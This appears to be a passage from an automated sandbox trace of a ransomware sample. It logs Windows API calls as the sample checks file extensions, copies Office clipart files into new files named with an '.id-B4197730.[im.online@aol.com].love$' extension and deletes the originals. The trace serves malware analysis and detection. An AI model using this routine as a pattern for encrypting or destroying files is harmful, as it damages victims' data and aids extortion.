lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0251.860] lstrlenW (lpString=".xls") returned 4 [0251.860] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0251.860] lstrlenW (lpString=".xlsx") returned 5 [0251.860] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0251.860] lstrlenW (lpString=".ppt") returned 4 [0251.860] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0251.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 68 [0251.860] lstrlenW (lpString=".zip") returned 4 [0251.860] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0251.860] lstrlenW (lpString=".rar") returned 4 [0251.860] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0251.860] lstrlenW (lpString=".bz2") returned 4 [0251.860] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0251.860] lstrlenW (lpString=".7z") returned 3 [0251.860] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0251.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 68 [0251.860] lstrlenW (lpString=".dbf") returned 4 [0251.860] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0251.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 68 [0251.860] lstrlenW (lpString=".1cd") returned 4 [0251.860] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0251.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 68 [0251.860] lstrlenW (lpString=".jpg") returned 4 [0251.861] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0251.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 68 [0251.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 68 [0251.861] lstrlenW (lpString=".doc") returned 4 [0251.861] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0251.861] lstrlenW (lpString=".docx") returned 5 [0251.861] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0251.861] lstrlenW (lpString=".pdf") returned 4 [0251.861] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0251.861] lstrlenW (lpString=".xls") returned 4 [0251.861] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0251.861] lstrlenW (lpString=".xlsx") returned 5 [0251.861] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0251.861] lstrlenW (lpString=".ppt") returned 4 [0251.861] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0251.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 68 [0251.861] lstrlenW (lpString=".zip") returned 4 [0251.861] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0251.861] lstrlenW (lpString=".rar") returned 4 [0251.861] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0251.861] lstrlenW (lpString=".bz2") returned 4 [0251.861] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0251.861] lstrlenW (lpString=".7z") returned 3 [0251.861] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0251.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 68 [0251.861] lstrlenW (lpString=".dbf") returned 4 [0251.862] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0251.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 68 [0251.862] lstrlenW (lpString=".1cd") returned 4 [0251.862] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0251.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 68 [0251.862] lstrlenW (lpString=".jpg") returned 4 [0251.862] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0251.862] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0251.862] lstrlenW (lpString="FD01191_.WMF") returned 12 [0251.862] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01191_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0252.116] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x298ff14 | out: lpFileSize=0x298ff14*=3964) returned 1 [0252.116] CloseHandle (hObject=0x534) returned 1 [0252.116] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01191_.wmf")) returned 0x220 [0252.116] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01191_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0252.117] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01191_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0252.117] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.117] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.117] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01191_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0252.126] GetLastError () returned 0x0 [0252.126] ReadFile (in: hFile=0x534, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0xf7c, lpOverlapped=0x0) returned 1 [0252.211] WriteFile (in: hFile=0x418, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0xf80, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0xf80, lpOverlapped=0x0) returned 1 [0252.229] ReadFile (in: hFile=0x534, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x0, lpOverlapped=0x0) returned 1 [0252.230] WriteFile (in: hFile=0x418, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0xec, lpOverlapped=0x0) returned 1 [0252.230] SetEndOfFile (hFile=0x418) returned 1 [0252.230] CloseHandle (hObject=0x418) returned 1 [0252.230] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.230] SetEndOfFile (hFile=0x534) returned 1 [0252.236] CloseHandle (hObject=0x534) returned 1 [0252.236] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0252.237] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01191_.wmf")) returned 1 [0252.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 68 [0252.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 68 [0252.238] lstrlenW (lpString=".doc") returned 4 [0252.238] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0252.238] lstrlenW (lpString=".docx") returned 5 [0252.238] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0252.238] lstrlenW (lpString=".pdf") returned 4 [0252.238] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0252.238] lstrlenW (lpString=".xls") returned 4 [0252.238] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0252.238] lstrlenW (lpString=".xlsx") returned 5 [0252.238] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0252.238] lstrlenW (lpString=".ppt") returned 4 [0252.238] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0252.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 68 [0252.238] lstrlenW (lpString=".zip") returned 4 [0252.239] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0252.239] lstrlenW (lpString=".rar") returned 4 [0252.239] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0252.239] lstrlenW (lpString=".bz2") returned 4 [0252.239] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0252.239] lstrlenW (lpString=".7z") returned 3 [0252.239] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0252.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 68 [0252.239] lstrlenW (lpString=".dbf") returned 4 [0252.239] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0252.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 68 [0252.239] lstrlenW (lpString=".1cd") returned 4 [0252.239] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0252.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 68 [0252.239] lstrlenW (lpString=".jpg") returned 4 [0252.239] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0252.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 68 [0252.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 68 [0252.239] lstrlenW (lpString=".doc") returned 4 [0252.239] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0252.239] lstrlenW (lpString=".docx") returned 5 [0252.239] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0252.239] lstrlenW (lpString=".pdf") returned 4 [0252.240] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0252.240] lstrlenW (lpString=".xls") returned 4 [0252.240] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0252.240] lstrlenW (lpString=".xlsx") returned 5 [0252.240] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0252.240] lstrlenW (lpString=".ppt") returned 4 [0252.240] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0252.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 68 [0252.240] lstrlenW (lpString=".zip") returned 4 [0252.240] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0252.240] lstrlenW (lpString=".rar") returned 4 [0252.240] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0252.240] lstrlenW (lpString=".bz2") returned 4 [0252.240] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0252.240] lstrlenW (lpString=".7z") returned 3 [0252.240] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0252.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 68 [0252.240] lstrlenW (lpString=".dbf") returned 4 [0252.240] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0252.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 68 [0252.240] lstrlenW (lpString=".1cd") returned 4 [0252.240] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0252.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 68 [0252.240] lstrlenW (lpString=".jpg") returned 4 [0252.240] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0252.241] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0252.241] lstrlenW (lpString="FD01659_.WMF") returned 12 [0252.241] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01659_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0252.353] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x298ff14 | out: lpFileSize=0x298ff14*=31180) returned 1 [0252.353] CloseHandle (hObject=0x550) returned 1 [0252.353] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01659_.wmf")) returned 0x220 [0252.353] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01659_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0252.818] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01659_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0252.818] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.818] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.818] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01659_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0252.820] GetLastError () returned 0x0 [0252.820] ReadFile (in: hFile=0x488, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x79cc, lpOverlapped=0x0) returned 1 [0253.025] WriteFile (in: hFile=0x534, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0x79d0, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0x79d0, lpOverlapped=0x0) returned 1 [0253.027] ReadFile (in: hFile=0x488, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x0, lpOverlapped=0x0) returned 1 [0253.028] WriteFile (in: hFile=0x534, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0xec, lpOverlapped=0x0) returned 1 [0253.028] SetEndOfFile (hFile=0x534) returned 1 [0253.028] CloseHandle (hObject=0x534) returned 1 [0253.028] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.028] SetEndOfFile (hFile=0x488) returned 1 [0253.047] CloseHandle (hObject=0x488) returned 1 [0253.047] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0253.048] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01659_.wmf")) returned 1 [0253.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 68 [0253.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 68 [0253.049] lstrlenW (lpString=".doc") returned 4 [0253.049] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0253.049] lstrlenW (lpString=".docx") returned 5 [0253.049] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0253.049] lstrlenW (lpString=".pdf") returned 4 [0253.049] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0253.049] lstrlenW (lpString=".xls") returned 4 [0253.049] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0253.049] lstrlenW (lpString=".xlsx") returned 5 [0253.049] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0253.049] lstrlenW (lpString=".ppt") returned 4 [0253.050] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0253.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 68 [0253.050] lstrlenW (lpString=".zip") returned 4 [0253.050] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0253.050] lstrlenW (lpString=".rar") returned 4 [0253.050] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0253.050] lstrlenW (lpString=".bz2") returned 4 [0253.050] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0253.050] lstrlenW (lpString=".7z") returned 3 [0253.050] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0253.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 68 [0253.050] lstrlenW (lpString=".dbf") returned 4 [0253.050] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0253.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 68 [0253.050] lstrlenW (lpString=".1cd") returned 4 [0253.050] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0253.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 68 [0253.050] lstrlenW (lpString=".jpg") returned 4 [0253.051] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0253.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 68 [0253.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 68 [0253.051] lstrlenW (lpString=".doc") returned 4 [0253.051] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0253.051] lstrlenW (lpString=".docx") returned 5 [0253.051] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0253.051] lstrlenW (lpString=".pdf") returned 4 [0253.051] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0253.051] lstrlenW (lpString=".xls") returned 4 [0253.051] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0253.051] lstrlenW (lpString=".xlsx") returned 5 [0253.051] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0253.051] lstrlenW (lpString=".ppt") returned 4 [0253.051] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0253.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 68 [0253.051] lstrlenW (lpString=".zip") returned 4 [0253.051] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0253.051] lstrlenW (lpString=".rar") returned 4 [0253.051] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0253.051] lstrlenW (lpString=".bz2") returned 4 [0253.051] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0253.051] lstrlenW (lpString=".7z") returned 3 [0253.051] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0253.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 68 [0253.051] lstrlenW (lpString=".dbf") returned 4 [0253.051] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0253.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 68 [0253.052] lstrlenW (lpString=".1cd") returned 4 [0253.052] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0253.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 68 [0253.052] lstrlenW (lpString=".jpg") returned 4 [0253.052] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0253.052] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0253.052] lstrlenW (lpString="FD02161_.WMF") returned 12 [0253.052] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02161_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0253.053] GetFileSizeEx (in: hFile=0x488, lpFileSize=0x298ff14 | out: lpFileSize=0x298ff14*=3128) returned 1 [0253.053] CloseHandle (hObject=0x488) returned 1 [0253.053] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02161_.wmf")) returned 0x220 [0253.053] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02161_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0253.054] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02161_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0253.054] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.054] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.054] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02161_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0253.055] GetLastError () returned 0x0 [0253.056] ReadFile (in: hFile=0x488, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0xc38, lpOverlapped=0x0) returned 1 [0253.058] WriteFile (in: hFile=0x534, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0xc40, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0xc40, lpOverlapped=0x0) returned 1 [0253.059] ReadFile (in: hFile=0x488, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x0, lpOverlapped=0x0) returned 1 [0253.059] WriteFile (in: hFile=0x534, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0xec, lpOverlapped=0x0) returned 1 [0253.059] SetEndOfFile (hFile=0x534) returned 1 [0253.059] CloseHandle (hObject=0x534) returned 1 [0253.060] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.060] SetEndOfFile (hFile=0x488) returned 1 [0253.063] CloseHandle (hObject=0x488) returned 1 [0253.063] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0253.063] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02161_.wmf")) returned 1 [0253.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68 [0253.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68 [0253.065] lstrlenW (lpString=".doc") returned 4 [0253.065] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0253.065] lstrlenW (lpString=".docx") returned 5 [0253.065] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0253.065] lstrlenW (lpString=".pdf") returned 4 [0253.065] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0253.065] lstrlenW (lpString=".xls") returned 4 [0253.065] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0253.065] lstrlenW (lpString=".xlsx") returned 5 [0253.065] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0253.065] lstrlenW (lpString=".ppt") returned 4 [0253.065] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0253.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68 [0253.065] lstrlenW (lpString=".zip") returned 4 [0253.065] lstrcmpiW (lpString1=".zip", 